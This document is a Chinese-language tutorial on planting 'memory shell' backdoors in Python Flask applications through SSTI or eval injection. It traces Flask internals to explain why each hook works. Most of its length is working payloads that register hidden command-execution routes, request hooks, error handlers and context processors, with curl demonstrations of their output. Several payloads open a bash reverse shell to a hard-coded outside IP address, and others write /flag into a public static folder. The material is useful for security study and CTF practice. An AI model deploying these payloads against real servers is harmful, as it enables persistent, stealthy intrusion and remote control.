

Python内存马

老式内存马

老版本内存马，现在使用会抛出一个异常了

```
url_for.__globals__['__builtins__']['eval'](  
    "  
        app.add_url_rule(  
            '/shell',  
            'shell',  
            lambda  
: __import__('os').popen(_request_ctx_stack.  
top.request.args.get('cmd',  
'whoami')).read()  
        )",  
        {  
  
        '_request_ctx_stack': url_for.__globals__['_  
request_ctx_stack'],  
  
        'app': url_for.__globals__['current_app']  
        }  
    )
```

AssertionError

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.
Make sure all imports, decorators, functions, etc. needed to set up the application are done before running it.



至于为什么会抛出AssertionError异常

先查看**@app.route**装饰器实现，最后是调用到了**add_url_rule**函数

```
@setupmethod
def route(self, rule: str, **options:
t.Any) -> t.Callable[[T_route], T_route]:
    def decorator(f: T_route) ->
T_route:
        endpoint =
options.pop("endpoint", None)
        self.add_url_rule(rule,
endpoint, f, **options)
        return f

    return decorator
```

再查看**@setupmethod**装饰器实现

```
def setupmethod(f: F) -> F:
    f_name = f.__name__

    def wrapper_func(self: Scaffold, *args:
t.Any, **kwargs: t.Any) -> t.Any:
        self._check_setup_finished(f_name)
        return f(self, *args, **kwargs)

    return t.cast(F,
update_wrapper(wrapper_func, f))
```

追一下看看 **_check_setup_finished** 函数，可以看到是否报错是通过一个 **_got_first_request** 对象来判断的

```
def _check_setup_finished(self, f_name:
str) -> None:
    if self._got_first_request:
        raise AssertionError(
            f"The setup method
            '{f_name}' can no longer be called"
            " on the application. It
            has already handled its first"
            " request, any changes will
            not be applied"
            " consistently.\n"
            "Make sure all imports,
            decorators, functions, etc."
            " needed to set up the
            application are done before"
            " running it."
        )
```

继续找找 `_got_first_request` 的调用情况，最终找到 `full_dispatch_request` 函数，位于 *flask/app.py*，可以看到当调用这个函数时 `_got_first_request` 变量会被强制改成 `True`

```

def full_dispatch_request(self) ->
Response:
    self._got_first_request = True

    try:

        request_started.send(self,
_async_wrapper=self.ensure_sync)
        rv = self.preprocess_request()

        if rv is None:

            rv = self.dispatch_request()

    except Exception as e:

        rv = self.handle_user_exception(e)

    return self.finalize_request(rv)

```

而**full_dispatch_request**的调用方式是，只要收到一次请求就被调用了

因为每次请求都会进入**@setupmethod**装饰器进行一个检测，所以老式内存马已经不起作用了

现代内存马

既然用**add_url_rule**函数不行了，那我们可以看看**add_url_rule**函数实现，尝试用其他方式模拟这个函数的功能

```
@setupmethod
def add_url_rule(
    self,
    rule: str,
    endpoint: str | None = None,
    view_func: ft.RouteCallable | None
= None,
    provide_automatic_options: bool |
None = None,
    **options: t.Any,
) -> None:
    if endpoint is None:
        endpoint =
_endpoint_from_view_func(view_func) #
type: ignore
        options["endpoint"] = endpoint

        .....

    rule_obj =
self.url_rule_class(rule, methods=methods,
**options)
```

```

        rule_obj.provide_automatic_options
= provide_automatic_options # type:
ignore[attr-defined]

        self.url_map.add(rule_obj)
        if view_func is not None:
            old_func =
self.view_functions.get(endpoint)
            if old_func is not None and
old_func != view_func:
                raise AssertionError(
                    "view function mapping
is overwriting an existing"
                    f" endpoint function:
{endpoint}")
            )
            self.view_functions[endpoint] =
view_func

```

我们可以看到主要是三个步骤

1. `rule_obj = self.url_rule_class(rule, methods=methods, **options)` #创建一个路由规则对象
2. `self.url_map.add(rule_obj)` #添加路由规则对象
3. `self.view_functions[endpoint] = view_func` #添加对应路由函数

在 ***flask/sansio/scaffold.py*** 文件中可以看到 `view_function` 的声明

```
self.view_functions: dict[str,  
ft.RouteCallable] = {}
```

这样看来如果能拿到 **app对象** 就可以具备实现内存马的能力

最理想的环境就是下面这种：

```
from flask import Flask, request  
  
app = Flask(__name__)  
  
@app.route("/")  
def calc():  
    result = eval(request.args.get("code",  
"None"))  
    template = "<h2>result: %s!</h2>" %  
result  
    return template  
  
if __name__ == "__main__":  
    app.run(host="0.0.0.0", port=5001,  
debug=True)
```

第一步，添加路由

```
?  
code=app.url_map.add(app.url_rule_class('/s  
hell', methods=['GET'], endpoint='shell'))
```


这时候已经可以访问了，但是还没有对这个路由绑定函数，所以会抛出 **KeyError** 异常

第二步，绑定函数

```
app.view_functions.update({'shell':lambda: __import__('os').popen(request.args.get('cmd', 'id')).read())})
```

成功实现py内存马

```
• ► curl http://localhost:5001/shell -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.14.4
Date: Tue, 28 Apr 2026 06:41:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 117
Connection: close

uid=1000(hack) gid=1000(hack) groups=1000(hack),150(wireshark)
```

```
• ► curl http://localhost:5001/shell?cmd=ls%20/ -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.14.4
Date: Tue, 28 Apr 2026 06:42:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 104
Connection: close

bin
boot
dev
etc
flag
flag.txt
```

如果是在 `jinja2` 环境，因为 `jinja2` 中是不能直接使用 `lambda` 的，我们这里使用 `eval` 生成一下

可以用下面的payload

```
{% set app =  
url_for.__globals__["current_app"]._get_cur  
rent_object() %}  
{% set b =  
url_for.__globals__["__builtins__"] %}  
{{  
app.url_map.add(app.url_rule_class("/shell"  
, methods=["GET"], endpoint="shell"))}}  
{{ app.view_functions.update({"shell":  
b["eval"]  
("lambda: __import__('os').popen(__import__(  
'flask').request.args.get('cmd','id')).read  
())")) }} }
```

或者

```
{{url_for.__globals__['__builtins__']  
['eval']  
("app.after_request_funcs.setdefault(None,  
[]).append(lambda resp: mem if  
request.args.get('cmd') and exec(\"global  
mem;mem=__import__(\\'flask\\').make_response  
(__import__(\\'os\\').popen(request.args.get(  
\\'cmd\\')).read())\\")==None else resp)",  
{'request':url_for.__globals__['request'],'  
app':url_for.__globals__['current_app']})  
}} }
```

搭建一个环境

```
from flask import Flask,
render_template_string, request

app = Flask(__name__)

@app.route("/")
def index():
    code = request.args.get("code",
"Guest")
    html = (
        """
        <h3>Hello, %s !</h3>
        <p>这是一个用来测试内存马的 SSTI 漏洞靶场。
</p>
        """
        % code
    )

    return render_template_string(html)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000,
debug=True)
```

将上面payload进行url编码发过去演示一下

```
• ▶ curl 'http://localhost:5000/?code=%7B%25%20set%20app%20%3D%20url_for.__globals__%5B%22current_app%22%5D._get_current_object()%20%25%7D%0A%7B%25%20set%20b%20%3D%20url_for.__globals__%5B%22__builtins__%22%5D%20%25%7D%0A%7B%7B%20app.url_map.add(app.url_rule_class(%22%2Fshell%22%2C%20methods%3D%5B%22GET%22%5D%2C%20endpoint%3D%22shell%22))%7D%7D%0A%7B%7B%20app.view_functions.update(%7B%22shell%22%3A%20b%5B%22eval%22%5D(%22lambda%3A__import__(\'os\').popen(__import__(\'flask\').request.args.get(\'cmd\')%2C\'id\')).read()%22)%7D)%20%7D%7D'

<h3>Hello,
None
None !</h3>
<p>这是一个用来测试内存马的 SSTI 漏洞靶场。</p>

• ▶ curl http://localhost:5000/shell?cmd=ls%20/
bin
boot
dev
etc
flag
flag.txt
```

现代内存马多以模拟功能为主，因为很多内置方法都用到了 **@setupmethod** 装饰器

常用姿势

以下姿势均基于在获取 **app** 对象的情况下，而且环境为

```
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def calc():
    result = eval(request.args.get("code",
    "None"))
    template = "<h2>result: %s!</h2>" %
    result
    return template

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5001,
    debug=True)
```

路由挂载型

上面讲的都是路由挂载型，这里就不多说了

HOOK型

hook 型就是把一个函数挂到框架某个事件上，让这个事件发生时自动调用你的函数

before_request

请求进入路由前执行

查看装饰器实现

```
@setupmethod
def before_request(self, f:
T_before_request) -> T_before_request:

    self.before_request_funcs.setdefault(None,
    []).append(f)
    return f
```

这里的装饰的函数，其他的部分就可以直接照抄了

```
self.before_request_funcs.setdefault(None,
    []).append(f)
```

before_request_funcs定义，了解一下就行

```
self.before_request_funcs: dict[
    ft.AppOrBlueprintKey,
    list[ft.BeforeRequestCallable]
    ] = defaultdict(list)
```

payload有三种形式

1.直接反弹shell

?

```
code=app.before_request_funcs.setdefault(None,  
[]).append(lambda:__import__('os').popen("b  
ash -c 'bash -i >&  
/dev/tcp/xxx.xxx.xxx.xxx/2333  
0>&1'").read())
```

2.执行命令把结果带出来，这种方式只能用一次，还想再执行其他命令只能重启环境了

?

```
code=app.before_request_funcs.setdefault(None,  
[]).append(lambda:__import__('os').popen("w  
hoami").read())
```

```
• ▶ curl "http://127.0.0.1:5001/?code=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen('id').read())"  
<h2>result: None! </h2>  
• ▶ curl http://127.0.0.1:5001  
uid=1000(hack) gid=1000(hack) groups=1000(hack),150(wireshark),954(docker),966(i2c),984(video),993(input),998(wheel)  
• ▶ curl "http://127.0.0.1:5001/?code=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen('cat%20/flag').read())"  
uid=1000(hack) gid=1000(hack) groups=1000(hack),150(wireshark),954(docker),966(i2c),984(video),993(input),998(wheel)  
• ▶ curl http://127.0.0.1:5001  
uid=1000(hack) gid=1000(hack) groups=1000(hack),150(wireshark),954(docker),966(i2c),984(video),993(input),998(wheel)
```

3.最稳的一种，不用出网不用重启环境也可以任意执行命令，也是最隐蔽的一种

?

```
code=app.before_request_funcs.setdefault(None,  
[]).append(lambda: __import__('os').popen(__  
import__('flask').request.args.get('cmd')).  
read() if  
__import__('flask').request.args.get('cmd')  
else None)
```



```
• ► curl "http://127.0.0.1:5001/?cmd=whoami"  
hack  
• ► curl "http://127.0.0.1:5001/"  
<h2>result: None!</h2>  
• ► curl "http://127.0.0.1:5001/?cmd=ls%20/"  
bin  
boot  
dev  
etc  
flag  
flag.txt
```

after_request

每次请求触发，但是在路由响应之后

装饰器实现


```

@setupmethod
def after_request(self, f:
T_after_request) -> T_after_request:

    self.after_request_funcs.setdefault(None,
    []).append(f)
    return f

```

除了触发时机不同，内存马实现和利用几乎和
before_request一样

teardown_request

每个请求结束时触发，可以执行代码但是结果不能直接返回给浏览器

装饰器实现

```

@setupmethod
def teardown_request(self, f: T_teardown) -
> T_teardown:

    self.teardown_request_funcs.setdefault(Non
    e, []).append(f)
    return f

```

注意：**teardown_request**装饰的函数必须接收一个参数

1.直接反弹shell

```
app.teardown_request_funcs.setdefault(None,
[]).append(lambda
e: __import__('os').popen("bash -c 'bash -i
>& /dev/tcp/101.37.210.236/2333
0>&1'").read())
```

2.把命令执行结果带到可访问的地方

```
app.teardown_request_funcs.setdefault(None,
[]).append(lambda
e: __import__('os').popen("cat /flag >
./static/1.txt").read())
```

url_value_preprocessor

URL 匹配后、before_request 前执行，会被忽略返回值，所以也不会回显结果

装饰器实现

```
@setupmethod
def url_value_preprocessor(
    self,
    f: T_url_value_preprocessor,
) -> T_url_value_preprocessor:

    self.url_value_preprocessors[None].append(
        f)

    return f
```

注意：**url_value_preprocessor**装饰的函数必须接收二个参数

1.直接反弹shell

```
app.url_value_preprocessors[None].append(lambda a,b: __import__('os').popen("bash -c 'bash -i >& /dev/tcp/101.37.210.236/2333 0>&1'").read())
```

2.把命令执行结果带到可以访问的地方

```
app.url_value_preprocessors[None].append(lambda a,b: __import__('os').popen('cat /flag > ./static/1.txt').read())
```

url_defaults

调用**url_for**函数后触发

装饰器实现

```
@setupmethod
def url_defaults(self, f: T_url_defaults) -> T_url_defaults:

    self.url_default_functions[None].append(f)
    return f
```

注意：**url_defaults**装饰的函数必须接收二个参数

任意执行命令

?

```
code=app.url_default_functions[None].append(
    lambda
    endpoint, values: values.update({"r": __import__(
        "os").popen(__import__("flask").request.
        args.get("cmd")).read()}) if
        __import__("flask").request.args.get("cmd")
        else None)
```

触发，如果源码中已经执行了**url_for**函数可以只写?
cmd=id

?

```
code=__import__("flask").url_for("calc")&cmd=id
```

直接看payload可能会有写疑问，如为什么回调函数要两个参数，第二关参数还要更新键值对

这个跟**url_defaults**的触发方式有关系，前面说到这个装饰器是调用**url_for**函数后触发的

我们直接看看**url_for**函数的实现，主要是最后几十行代码，我们也可以看到**url_for**函数的返回值就是**rv**

```
#....
```

```
self.inject_url_defaults(endpoint,
values)
```

```
try:
```

```

        rv = url_adapter.build( #
type: ignore[union-attr]
        endpoint,
        values,
        method=_method,
        url_scheme=_scheme,
        force_external=_external,
    )
    except BuildError as error:
        #....
#....

    return rv

```

有一句这样的代码

```
self.inject_url_defaults(endpoint, values)
```

继续追**inject_url_defaults**函数实现

```

    def inject_url_defaults(self, endpoint:
str, values: dict[str, t.Any]) -> None:
        names: t.Iterable[str | None] =
(None,)

        if "." in endpoint:
            names = chain(
                names,
                reversed(_split_blueprint_path(endpoint.rpa
rtition(".")[0]))
            )

        for name in names:
            if name in
self.url_default_functions:
                for func in
self.url_default_functions[name]:
                    func(endpoint, values)

```

主要是这段

```

        for name in names:
            if name in
self.url_default_functions:
                for func in
self.url_default_functions[name]:
                    func(endpoint, values)

```

这里可以很清楚的看到我们注册的回调函数被取出执行了，所以我们也得用两个参数

即**lambda endpoint,values: ...**

还有就是**values**为什么要更新键值对

关联源码是这段

```
rv = url_adapter.build(  
    endpoint,  
    values,  
    method=_method,  
    url_scheme=_scheme,  
    force_external=_external,  
)
```

url_adapter 是 **Werkzeug** 的 URL 适配器对象，这里就不深究了

然后是**values**，这是**Flask.url_for()** 函数里的局部变量

这里讲一下values中键值对的三种主要去处

1. 匹配路由变量，例子：

路由

```
@app.route("/user/<name>")  
def user(name):  
    return "ok"
```

调用： `url_for("user", name="alice")`

此时：

```
values = {  
    "name": "alice"
```

```
}
```

```
/user/alice
```

2. 不匹配路由变量，会被作为query参数，例子：

路由

```
@app.route("/user/<name>")
```

```
def user(name):
```

```
    return "ok"
```

```
url_for("user", name="alice", page=2,  
q="test")
```

传进去的 values 是：

```
{
```

```
    "name": "alice",
```

```
    "page": 2,
```

```
    "q": "test"
```

```
}
```

生成 URL 时：name 匹配路由变量 <name>，所以填入路径： /user/alice

而：page, q, 不匹配任何路由变量，所以被追加成 query string:

```
/user/alice?page=2&q=test
```


3. 特殊/无效情况 -> 用于 method、host、subdomain 等, 或导致 BuildError

因为values是Python字典, 如果没有Key会自动生成一个, 如果有了也是可以返回结果的

```
values.update({"r": xxx })
```

像id命令显示在网页上的结果就是这种形式了

```
result:  
/uid=1000(hack)%20gid=1000(hack)%20groups=1  
000(hack),150(wireshark),954(docker),966(i2  
c),984(video),993(input),998(wheel)%0A!
```

errorhandler

异常处理

装饰器实现

```

    @staticmethod
    def errorhandler(
        self, code_or_exception:
type[Exception] | int
    ) -> Callable[[T_error_handler],
T_error_handler]:

        def decorator(f: T_error_handler) -
> T_error_handler:

            self.register_error_handler(code_or_except
ion, f)

            return f

        return decorator

```

追一下**register_error_handler**函数

```

    @staticmethod
    def register_error_handler(
        self,
        code_or_exception: type[Exception]
| int,
        f: ft.ErrorHandlerCallable,
    ) -> None:
        exc_class, code =
self._get_exc_class_and_code(code_or_except
ion)

        self.error_handler_spec[None][code]
[exc_class] = f

```

发现就两个操作

```
1.exc_class, code =  
self._get_exc_class_and_code(code_or_except  
ion)  
  
2.self.error_handler_spec[None][code]  
[exc_class] = f
```

举个例子，如注册一个404错误处理回调函数

```
app.error_handler_spec.setdefault(None,  
{}).setdefault(404,  
{}).update({app._get_exc_class_and_code(404)  
[0]:lambda  
e:__import__('os').popen(request.args.get(''  
cmd','id'))).read()})
```

或

```
(lambda x: x[None]  
[404].__setitem__(app._get_exc_class_and_co  
de(404)[0], lambda e:  
__import__('os').popen(request.args.get('cm  
d','id')).read()))(app.error_handler_spec)
```

触发方式

比如访问一个不存在的路由

```
http://127.0.0.1:5001/xxx?cmd=id
```

```
• ► curl http://127.0.0.1:5001/xxx?cmd=id
uid=1000(hack) gid=1000(hack) groups=1000(hack),150(wireshark),954(docker),966(i2c),984(video)
,993(input),998(wheel)
• ► curl http://127.0.0.1:5001/xxx?cmd=whoami
hack
```

上下文处理型

这是一种特定的机制，它允许你在网页正式渲染之前，预先处理并注入一些全局变量

如

```
@app.route('/')
def index():
    return render_template('index.html',
site_name="我的网站")

@app.route('/about')
def about():
    return render_template('about.html',
site_name="我的网站") # 每个路由都要重复写！
```

可直接写一个

```
@app.context_processor
def inject_site_info():
    return dict(site_name="我的网站") # 只写一
次，全站通用
```

context_processor

Flask 调用 `render_template()` 函数渲染模板时触发装饰器实现

```
@setupmethod
def context_processor(
    self,
    f: T_template_context_processor,
) -> T_template_context_processor:

    self.template_context_processors[None].append(f)

    return f
```

官方描述中有这一句

```
The keys of the returned dict are added as
variables available in the template.
# 意思是返回的键会作为变量添加的模板中
```

意思是需要返回值而且必须是字典

这个是要在调用**render_template**函数才触发的，我们可以看看这个函数的实现

```
def update_template_context(self,
context: dict[str, t.Any]) -> None:
    orig_ctx = context.copy()

    for name in names:
        if name in
self.template_context_processors:
            for func in
self.template_context_processors[name]:

        context.update(self.ensure_sync(func)())

    context.update(orig_ctx)
```

有一句这样的代码

```
context.update(self.ensure_sync(func)())
```

可以看到我们注册的函数都是直接执行的

还有一个问题就是官方说的是返回的键会作为变量添加的模板中，如果变量没有在模板中引用呢，那命令的执行结果是不会回显的，但是可以执行命令

那payload就分了两

1. 知道render_template渲染的变量名，如渲染的html文件中包含 {{ name }}

```
app.template_context_processors[None].append(lambda : {'name' :  
__import__('os').popen("whoami").read()})
```

2. 不知道渲染了那些变量，可以执行反弹shell或把命令执行结果带到可以访问的地方

```
app.template_context_processors[None].append(lambda : {'xxx' :  
__import__('os').popen("bash -c 'bash -i >&  
/dev/tcp/101.37.210.236/2333  
0>&1'").read()})
```

另一种方式添加

```
app.template_context_processors.setdefault(  
None, []).append(lambda : {'name' :  
__import__('os').popen('whoami').read()})
```